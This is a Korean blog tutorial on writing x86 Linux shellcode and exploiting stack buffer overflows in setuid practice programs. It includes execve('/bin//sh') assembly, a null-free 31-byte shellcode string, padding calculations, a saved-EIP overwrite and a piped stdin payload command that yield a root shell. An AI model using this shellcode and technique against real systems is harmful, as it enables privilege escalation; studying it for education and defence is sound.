농소

쉘코드 기계어 제작, 메모리 강제 삽입 본문

Security/System Hacking

쉘코드 기계어 제작, 메모리 강제 삽입

농소 2018. 2. 2. 03:28

쉘코드 ( Shellcode )


  - 공격자가 실행하길 원하는 코드를 미리 작성

  - 해당 공격코드를 타겟 프로세스의 메모리에 강제로 업로드

  - 타겟 프로세스 메모리에 실행하고자 하는 명령들을 올려놓고 실행


우선 메모리에 올리려면 반드시 알아두어야 하는 것이 있다.


1. 기계어로 작성되어 있어야 한다.

2. 데이터 세그먼트 사용 불가능.


왜 기계어로 사용해야하고 세그먼트를 사용하지 못하는건가? 이유는?


1) C로 작성 -> 기계어 추출 하는 경우



  - ELF파일 전체가 메모리에 있어야만 명령어를 실행할 수 있다.

  - 여기선 기계어 코드만 메모리에 존재하기 때문에 실행될 수 없다.


해결책 - 세그먼트 없이 실행 가능하도록 스택형식으로 만들어야함.


  - 위와 같이 라이브러리 함수의 주소가 다른 프로세스에서의 라이브러리 주소가 동일할 확률은 0에 가까움


결책 - 시스템 콜 사용    


2) 어셈블리어로 작성


  - 직접 메모리를 제어가능

  - 기계어만 가지고 실행이 가능한 환경을 구성

  - 세그먼트 없이 프로그램을 작성


system 라이브러리 -> execve 시스템콜로 대체

세그먼트 -> 스택메모리로 대체


segment .text

global  _start


_start:

        push    ebp

        mov     ebp,    esp


        push    0

        push    '//sh'

        push    '/bin'


        sub     esp,    12


        lea     eax,    [ebp-12]

        mov     dword [ebp-24], eax


        mov     eax,    11

        mov     ebx,    [ebp-24]

        lea     ecx,    [ebp-24]

        mov     edx,    0

        int     80h


        add     esp,    24

        ret

        leave


세그먼트와 라이브러리 함수를 사용하지 않고 만든 쉘 코드



여기서 문제점


00 즉 null이 들어간 이후 입력이 들어가질 않습니다.

우선 이 0들이 왜 들어갔는지 보면

 8048083: 68 00 00 00 00        push   $0x0 

push 0 을 했을경우 4바이트 모두 0값으로 채워진다.

해결책 -> 레지스터 사용


 8048099: b8 0b 00 00 00        mov    $0xb,%eax

4바이트 eax레지스터에 0xb를 넣을때 나머지 빈공간에 0으로 채워지게됨

해결책 -> 1바이트 al레지스터 사용


해결책을 통해 null byte를 제거한다면


segment .text

global  _start


_start:

        xor     eax,    eax

        xor     edx,    edx


        push    edx

        push    '//sh'

        push    '/bin'


        push    edx

        lea     ebx,    [esp+4]

        push    ebx


        mov     al,     0x0b

        mov     ebx,    [esp]

        lea     ecx,    [esp]

        int     80h


이런식으로 해결책을 참고하여 00을 제거해 줍니다.



자 이제 메모리에 삽입할 쉘 명령어를 만들었다

이제 이 내용을 메모리에 삽입하여 강제로 실행되게 만들면 된다.


우선 이것을 입력값으로 만들면


\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80

이 됩니다.


이것을 가지고 argv의 두번째 인자를 통해 비교를 하는 프로그램에

 쉘코드를 강제로 삽입하여 실행하게 만들도록 해보겠습니다.



target1 파일의 2번째 인자를 이용해 강제로 쉘코드를 삽입하여 실행해 보겠습니다.



우선 루트권한으로 해당 파일에 setuid를 걸어주고 일반사용자로 접속하여

 해당 파일을 복사해 gdb로 분석을 해줍니다.



해당 버퍼에 aaaaaaaaaaaa를 넣었을 때 메모리에 값을 채워주는것이 보인다.

하지만 쉘코드를 넣을때 그냥 넣게되면 문자열로 인식하게 되므로 그냥 입력을 해선 안되고

문자열 이스케이프를 활용하여 입력 해 주도록 합니다.



버퍼에 쉘코드를 삽입 했습니다. 삽입했다고 실행하는 것이 아니고 saved eip에 쉘코드 시작주소를 나타내야 하므로

saved eip까지 도달하도록 특정 값을 채운후 eip영역에 쉘코드 시작주소를 나타내도록 해준다.



이런식으로 saved eip에 강제로 삽입한 쉘코드 시작 주소가 담겨있다

이제 이 실행문은 에필로그를 실행하고 나서 강제로 변환된 eip를 통해 쉘코드를 실행 할 것입니다.



gdb에서 분석한 것을 가지고 실제 실행파일에 적용해 보면 Illegal Instruction이 발생한다

이는 메모리 주소가 항상 같지 않다는 뜻으로 gdb에서 분석했을 때와

 실제 파일에 실행했을때의 쉘코드의 처음 주소가 다르다는 뜻이다

그러면 실행할수 없는것이 아니냐? 그렇지 않습니다.

 해커들에 의해서 발견한 사실으론 메모리 주소는 16바이트 단위로 바뀐다고 한다.

그러므로 위 아래로 16바이트씩 바꿔가며 실행을 해주다 보면 gdb에서 분석할 때와 같은결과를 볼 수 있다



16바이트씩 옮겨가며 실행했을 때 시작주소를 찾아 결과적으로
 쉘이 실행되었고 effectied userid가 root권한이 되었습니다.



다음으로 인자로 입력하는 방식이 아닌 표준입력을 통해 입력을 받는 방식을 알아 보겠습니다.


해당 버퍼에 값을 입력하고 입력한 값을 출력해주는 아주 간단한 프로그램입니다.



전과 같이 setuid로 만들고 복사를 해주었습니다.



gdb로 분석 할 때 arg의 두번째 인자값을 출력했을때 했던방법으로 표준입력에 적용했더니

제대로 먹질 않습니다. arg같은경우는 치환이 되지만 get같은 표준입력에서는 $(python ~을 입력해도 치환이 안됩니다.

그렇다면 어떻게 입력을 해야할까요?


표준 입력에서는 출력할 값을 미리 뽑아서 파이프라인을 통해 표준 입력으로 전달 해 주어야 합니다.


(python -c 'print "A" *20';cat) |  ./target2




eip를 조작하기 위해선 어느정도 문자를 입력해야 할 지 계산해 봅시다

eip에 도달하기 위해선 위 그림과 같이 총 108개의 문자를 입력해야 합니다.

여기서 쉘코드는 31byte를 차지하고 eip의 특정주소를 넣기위해선 4byte가 필요합니다

그러면 eip까지 도달하기 위해 문자를 입력해야하는데 나머지 108byte에서 35byte를 제외하면

 73개의 문자를 넣어야지만 eip까지 도달 할 수 있게 됩니다.  

그리고 시작 주소도 알아둡시다 시작주소는 0xbffffa24 이네요



이런식으로 실행 했을때 쉘코드가 실행이 안될 경우 마찬가지로

 16byte씩 값을 이동해 주면서 실행하시면 주소를 찾아 실행이 됩니다. 

여기선 프롬프트가 보이질 않기때문에 id를 이용하여 성공했는지 확인해 줍니다.


결국 주소를 이동하면서 실행을 하다가 쉘코드의 시작주소를 찾아 공격에 성공해

 쉘코드가 실행되었고 effective uid가 root로 변하게 되었네요